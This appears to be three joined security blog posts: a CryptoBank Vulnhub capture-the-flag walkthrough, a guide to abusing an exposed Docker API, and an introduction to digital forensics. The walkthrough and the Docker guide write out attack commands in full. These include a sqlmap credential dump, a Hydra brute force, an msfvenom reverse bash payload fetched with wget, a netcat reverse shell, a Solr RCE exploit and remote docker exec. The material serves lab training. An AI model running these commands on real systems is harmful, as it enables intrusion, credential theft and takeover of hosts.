CryptoBank: 1: Vulnhub Walkthrough

Introduction

Today we are going to crack this vulnerable virtual machine called CryptoBank 1. It was created by emaragkos.  This is a Capture the Flag type of challenge. It contains one flag that is accessible after gaining root level privilege on the machine. It was an Intermediate level machine. It made me think and work on it a few times. It is an example that enumeration is key. It is not possible to root this machine without proper enumeration.

Penetration Testing Methodology

·         Network Scanning

o   Netdiscover

o   Nmap

·         Enumeration

o   Browsing HTTP Service at port 80

o   Generation of User Dictionary

·         Exploitation

o   Exploitation of Time-Based SQL Injection

o   Enumeration of various Credentials

o   Directory Bruteforce using Dirb

o   Dictionary attack using Hydra

o   Directory Bruteforce using Dirb

o   Enumerating Git

o   Crafting Reverse Bash payload

o   Exploitation of Command Injection

·         Post Exploitation

o   Enumeration of services and connections using netstat

o   Forwarding Port using portfwd

o   Enumerating Version of Solr

·         Privilege Escalation

o   Exploiting Solr RCE Vulnerability

o   Escalating Privileges using Sudo Permissions.

·         Reading Root Flag

Walkthrough

Network Scanning

To Attack any machine, we need to find the IP Address of the machine. This can be done using the netdiscover command. To find the IP Address, we need to co-relate the MAC Address of the machine that can be obtained from the Virtual Machine Configuration Setting. The IP Address of the machine was found to be 192.168.1.105. 

netdiscover

Following the netdiscover, we need a nmap scan to get the information about the services running on the virtual machine. A simple nmap scan reveals that 2 services: SSH (22) and HTTP (80) are running on the application.

nmap -sV 192.168.1.105

Enumeration

Since we have the HTTP service running on the virtual machine, let’s take a look at the webpage hosted.

http://192.168.1.105

There was a Secure Login button on the top right-hand side of the webpage. It was not working as intended. It was trying to access http://cryptobank.local/trade. This means we need to make some changes in /etc/hosts. We thought we will get back to it later. Moving down and inspecting different links, we got to the CORE TEAM section. It contained the names of employees with their social links.

Upon clicking the Email Icon under the Employee’s Profile, we see that it is trying to access the location of the page associated with the name of the employee. These might be potential usernames.

Hence, we created a dictionary from those usernames as shown below.

Earlier we tried to access the Secure Login section but we were unable to do it. To access the page, we need to add “cryptobank.local” into the /etc/hosts file as shown below:

Exploitation

We tried to access the page again. This time we were successful in getting a webpage. It says “Secure Login”, let’s test how secure is it? Firstly, we tried to go for SQL Injection. For that, we need to capture a request on the Login button of the form. We used the Burp Suite for this activity.

We copy the request to a text file and name it req.txt. Now, to enumerate for SQL Injection, we will be using sqlmap. Initially, we start with some basic options such as dbs and batch for ease.

sqlmap -r req.txt --dbs  --batch

It was a Time-Based SQL Injection; hence it takes some significant amount of time for extracting the data. It gave us 5 databases. Among them, the cryptobank database seems important.

Now that we have a Database we want to target, let’s run the sqlmap again. This time we will use the -D option to provide the target database and –tables to extract the tables inside that database.

sqlmap -r req.txt --dbs -D cryptobank --tables --batch

After taking its sweet time, sqlmap gave us 3 tables: comments, accounts, loans. Among these accounts seems more interesting.

Time to extract entries from the accounts table. For this we will sue the -T option as shown in the image below:

sqlmap -r req.txt --dbs -D cryptobank -T accounts --dump --batch

We got 12 entries with some bizarre balance. What kind of trading are these people doing anyway?

We thought that there might be some URLs that we haven’t yet enumerated. As we didn’t browse the website after we added its entry in /etc/hosts. For this, we decided to use the dirb tool.

dirb http://cryptobank.local/

It gave us /development directory. Upon browsing this directory, we were welcomed by a login form. As we already have some usernames and passwords from the databases. Its time to put those to use. Hydra is a great tool in such situations where we have a login form like this. Hydra took no time in getting the correct set of credentials to log in.

hydra -L users.txt -P pass.txt cryptobank.local -f http-get /development

Time to enter these credentials in the login form:

Username: julius.b [Extracted from the Email link on Home Page]

Password: wJWm4CgV26 [Extracted from the Database using SQL Injection]

After logging, we get a message “only for development”. That’s a bummer. As we were about to give in and trying to find another method to get into the virtual machine, we remembered that we can try directory bruteforce in /development. For those who don’t know, we can provide credentials in directory bruteforce using the -u parameter as shown in the image below:

dirb http://cryptobank.local/development/ -u julius.b: wJWm4CgV26

Directory Bruteforce gave us 2 new directories: /development/tools/ and /development/backups/.

Let’s take a look into backups first.

Upon close inspection, it contains a copy of the website that we found initially.

From the last directory bruteforce, we had to try it again. This time, we brute-forced the /backups/home/ directory.

dirb http://cryptobank.local/development/backups/home/

We find some hidden directories inside the /backups/home/ directory. We got /.git/. This means that the development was supported using multiple branches as in Git. To move around and took a closer look, let's get those files onto our local system. There are a bunch of tools on the web that do that. We will be suing the GitHack for now. It is easy to use. Just clone the toll from GitHub. Move into the cloned directory and give proper execution permissions to the python file and run the tool with the .git directory as a parameter as shown in the image below.

After working a while, a directory is created by the name of the domain i.e., cryptobank.local/. We take a look into it and we see that there is a tool directory and inside it, we found a directory named CommandExecution. That’s worth looking into. We see that there is a php file. After taking a closer look we see that there is a password associated with the command execution. It is wJWm4CgV26. The same password that we cracked earlier.

Time to execute some commands. We browse the webpage on the Web Browser. We see that it has 3 tools. There must be multiple ways to exploit this virtual machine. But since we can execute the commands directly, we will use this method.

Here we have an option to Run system command. We choose this option and move forward.

Before taking any measures, we should check if this method is working properly or not. So, we enter the command in the username field and password in the password field.

There we have it the result of the id command. The command injection is working. Time to exploit this vulnerability and get ourselves a session.

We used msfvenom to craft a payload. It is a simple reverse_bash payload. We have the command that we need to execute to generate a session. We transfer the command into a shell file and name it revshell.sh. Now we start the python server to transfer the payload to the target virtual machine.

msfvenom -p cmd/unix/reverse_bash lhost=192.168.1.112 lport=9999 R

echo [payload] > revshell.sh

python -m SimpleHTTPServer

Now we use the command injection to upload the file on the virtual machine as shown in the image below.

wget http://192.168.1.112:8000/revshell.sh

Let’s check if we can upload the file. We check using the directory listing command.

Now before executing the file, we need to create a listener to capture the session when it gets executed. We start Metasploit Framework. Use the multi/handler listener. Select the same payload which we used while crafting using msfvenom. Provide the necessary details and entering the exploit command to run the listener.

use exploit/multi/handler

set payload cmd/unix/reverse_bash

set lhost 192.168.1.112

set lport 9999

exploit

Then we go back to the web browser and execute the payload on the virtual machine using the bash command as shown in the image below.

bash revshell.sh

As soon as the command gets executed on the Target Machine, we have the Command shell session opened on the handler we started earlier. We converted the shell into a meterpreter session to gain more control over the virtual machine. After gaining the meterpreter session we ran the netstat to discover any other services or instances running internally on the application. We see that there is an instance running on port 8983. It seems like a docker instance. Let’s enumerate further.

sessions -u 1

sessions 2

netstat -antp

Post-Exploitation

To get a proper look at the docker instance, we used the portfwd command to transfer or forward the oncoming traffic from that port onto our local machine i.e., Kali Linux.

portfwd add -l 8983 -p 8983 -r 172.17.0.1

Now, let’s take a look at the service that is running on this docker instance. We browse the instance on our Web browser using the following address associated with the port that we forward the traffic to.

http://127.0.0.1:8983/

It is Apache Solr. It is an open-source enterprise search platform. From the initial observation, it was clear that this interface is old. This means that the version that is installed on the virtual machine might be vulnerable. The machine was running the version 8.1.1 It is visible from the previous image. We search solr on searchspolit for any direct exploit for this version. We were lucky we have the remote code execution exploit. We download the exploit from searchsploit as shown in the image given below:
searchsploit solr

searchsploit -m 47572

After downloading the exploit, we gave it a read and we found that it has a syntax to execute

python3 script.py IP [port[command]]

So, we got back to our meterpreter shell, traversed into the /tmp directory as it is the only writable directory. We uploaded the payload into this directory. Then we invoked the command shell from meterpreter. The shell generated was lacking some functionalities so we need to upgrade it to a TTY shell. For this, we used the python one-liner.

Now back at the local system, we need to run a netcat listener to capture the shell that would be generated from the exploit. We ran a netcat listener at 7654 port.

nc -lvp 7654

Back to the command shell on the target machine, we created the command that we need to execute the exploit and generate a shell. We used a netcat invoke shell one line for the shell.

cd /tmp

upload /root/47572.py

shell

python -c 'import pty; pty.spawn("/bin/sh")

python3 46573.py 172.17.0.1 8983 "nc -e /bin/bash 192.168.1.112 7654"

Privilege Escalation

After running the command, we went back to the netcat listener. Here we got ourselves a shell. Again, this shell also lacks some functionalities, so we convert this shell into a TTY shell for proper functioning. We check the sudo permissions as found that we can run all the commands using sudo. We upgraded to root shell using the sudo su command. We tried the solr password as it is the default password that is configured with the solr installation. It worked and we got ourselves a root shell. Time to look for the flag. It was waiting for us in the /root directory. This concludes this machine.

python -c 'import pty; pty.spawn("/bin/sh")

sudo -l

sudo su

solr

cd /root

ls

cat flag.txt

Docker for Pentester: Abusing Docker API

As you know, docking services are booming, docking container attacks are also on the rise.But this post will illustrate how the intruder is trying to compromise the docker API due to a weak setup.

Table of content

·         Docker architecture

·         Enable Docker API for Remote connection

·         Abusing Docker API

Docker Architecture

Docker uses a client-server architecture, the main components of the docker are: docker-daemon, docker-CLI and API.

Docker Daemon: Use manage docker object such as network, volume, docker image & container.

Docker CLI: A command line interface used to execute the command to pull, run and build the docker image.

Docker API: It is a kind of interface used between Daemon and CLI to communicate with each other through unix or tcp socket.

As we know the usage of docker service in any organisation at their boom because it has reduced efforts of developer in host in the application within their infrastructure. When you install docker on a host machine, the daemon and CLI communicate with each other through Unix Socket that represent a loopback address. If you want to access the docker application externally, then bind the API over a TCP port.

The time you allow the docker API to be accessed over TCP connection through ports such as 2375, 2376, 2377 that means a docker CLI which is running outside the host machine will be able to access the docker daemon remotely.

The attacker always checks for such type of port using Shodan, they try to connect with docker remotely in order to exploit the docker daemon. Their several dockers application listening over port 2375 for remote connection.

Enable Docker API for Remote connection

Initially you can observe that the target host does not have any port open for docker service, when we used nmap port scan for 192.168.0.156 which is the IP of the host machine where docker application is running.

At host machine we try to identify a process for docker, as we have mentioned above by default it runs over Unix sockets.

ps -ef |grep docker

Now modify the configuration for REST API in order to access the docker daemon externally.

Make the changes as highlight in the image with the help of following commands.

nano /lib/systemd/system/docker.service

Modify as: -H=tcp://0.0.0.0:2375

systemctl daemon-reload

service docker restart

Now, if you will explore the docker process, you will notice the change.

Abusing Docker API

Now attacker always looks for such network IP where docker is accessible through API over 2375/tcp port in order to establish a remote connection with the docker application. As you can see, we try to scan host machine to identify open port for docker API using nmap port scan.

nmap -p- 192.168.0.156

Once the port is open and accessible, you can try to connect with docker daemon on the target machine. But for this you need to install a docker on your local machine too.  So, we have installed docker on Kali Linux as well as we docker running on our target machine too.  Now to ensure that we can access docker daemon remotely, we execute following command to identify the installed docker version.

Syntax: docker -H :

docker -H 192.168.0.156:2375 version

Further we try to enumerate the docker images running on the remote machine

docker -H 192.168.0.156:2375 images

Similarly, we try to identify the process for running container with the help of the following command, so that we can try to access the container remotely.

docker -H 192.168.0.156:2375 ps -a

docker -H 192.168.0.156:2375 exec -it /bin/bash

Thus, in this way the weak configured API which is exposed for external connection can be abused an attack. This could result in container hijacking or an attacker can hide the persistence threat for reverse connection. Also, if the installed version of docker is exploitable against container escape attack, then, the attack can easily compromise whole host machine and try to obtain the root access of main machine (host).

Digital Forensics: An Introduction

Digital Forensics is the application of scientific methods in preserving, recovering, and investigating digital evidence in a Digital crime scenario.  It can be correctly defined as, collection, examination, analysis, and documentation by using scientifically proven methods to investigate a digital crime and present it before the court.

Table of contents:

·        Elements of a Digital Crime

·        Goals of Digital Forensic Investigation

·        Classification of Digital Forensics

·        Digital Evidence

·        Principles of Digital Forensics

·        Process of Forensic Investigation

·        Types of Tools

Elements of a Digital Crime

To prove a digital crime, as an investigator you should have the following elements to bring out a conclusion. All the elements will be related to one another in a more or so.

Goals of Digital Forensic Investigation

As a digital forensic investigator, you should have a goal for investigation. Depicted below are the five most important goals of investigation;

Classification of Digital Forensics

Digital forensics is a very broad term that has various classifications within it. The most popular forensic investigations are as follow:

1.      Computer Forensics: It is the most primitive type of digital forensics which usually was introduced in the early evolution of computer systems. It includes investigating computers, laptops, logs, USB drives, hard drives, Operating systems, etc.

2.      Network Forensics: It includes investigating by analyzing network events, intrusion, and data packets that were transmitted to detect network attacks.

3.      Multimedia Forensics: It comprises of investigation of images, audio, and video files that are recovered as evidence in a digital crime scene.

4.      Mobile Forensics: It comprises of investigation of smartphones like android, iOS, etc for finding digital evidence and recovering the deleted data important for the case.

5.      Memory Forensics: It is the forensic investigation of the memory or ram dump of the system to find out volatile memory like chat history, clipboard history, browser history, etc.

6.      Cloud Forensics: Considering the virtual storage are in demand, the investigation of the cloud environment also plays a key role in a digital crime scene for gathering evidence.

The classification of digital forensics isn’t limited to the above diagram and as t can be classified into more depending on the cases.

Digital Evidence

Digital evidence or electronic evidence can be defined as any object that stores digital information and transmits it in any form which was used in the act of crime or in supporting the investigation of the case in a trial before the court.

The evidence found at the crime scene should have two key properties

a.      They should be admissible in the court

b.      They should be authentic.

The digital evidence can be like of various types and should be availed ethically by following the prescribed guidelines of investigations. Here are a few digital evidences in the diagram below, but the list goes on.

Understanding Data and Metadata

The difference between the data and the metadata for the forensic investigation can be easily understood with the help of the diagram below;

Principles of Digital Forensics

1.      Securing the Crime Scene: This is the most primary principle of Digital Forensics. As an investigator you should prohibit any access to your suspected digital evidence, document all processes and connections, disconnecting wireless connections, etc. to keep your evidence secure.

2.      Limiting evidence Interaction: As an investigator, you should make sure that your evidence is having a limited interaction by capturing the ram and can also perform cold boot attacks on the evidence.

3.      Maintaining Chain of Custody:  Chain of custody is a record of sequence in which the evidence was collected, date and timestamps at the collection, the investigator who accessed and handled it, etc.

Process of Digital Forensic Investigation

·         Identification: This is the first step that an investigator takes at the crime scene is to identify the purpose of the investigation and recognize the potential digital evidence.

·         Preservation:  This is the next step where the investigator has to be careful as he should make sure that the evidence has not tampered which may complicate the investigation

·         Collection: This step involves acquiring the evidence most appropriately without causing any harm to the evidence and packing it in a Faraday Bag.

·         Examination: This step is a precursor to performing any analysis of the evidence. This step requires careful inspection of the evidence for any other secondary details.

·         Analysis: In this step, the investigator carries out the most crucial things like joining the bits and pieces of the pieces of evidence, retrieving deleted files, etc.

·         Interpretation: This step involves concluding the investigation finding after reconstruction of the crime scene.

·         Documentation: This step usually involves preparing a  detailed report or a document on the entire investigation.

·         Presentation: This is a mandatory step only when it is asked for cross-examination which is to be mentioned in very simple terms of understanding for commoners.

Types of Tools

An investigator needs to have the right set of tools for conducting a digital forensic investigation. It is for the investigator to decide the tool appropriate for the case.  The tools also depend on the application based on hardware and software. The types of tools can be classified into three types; Open Source, Proprietary, and Self-created.

Conclusion

 Hence, we have covered the basic understanding and requirements for Digital Forensic Investigation.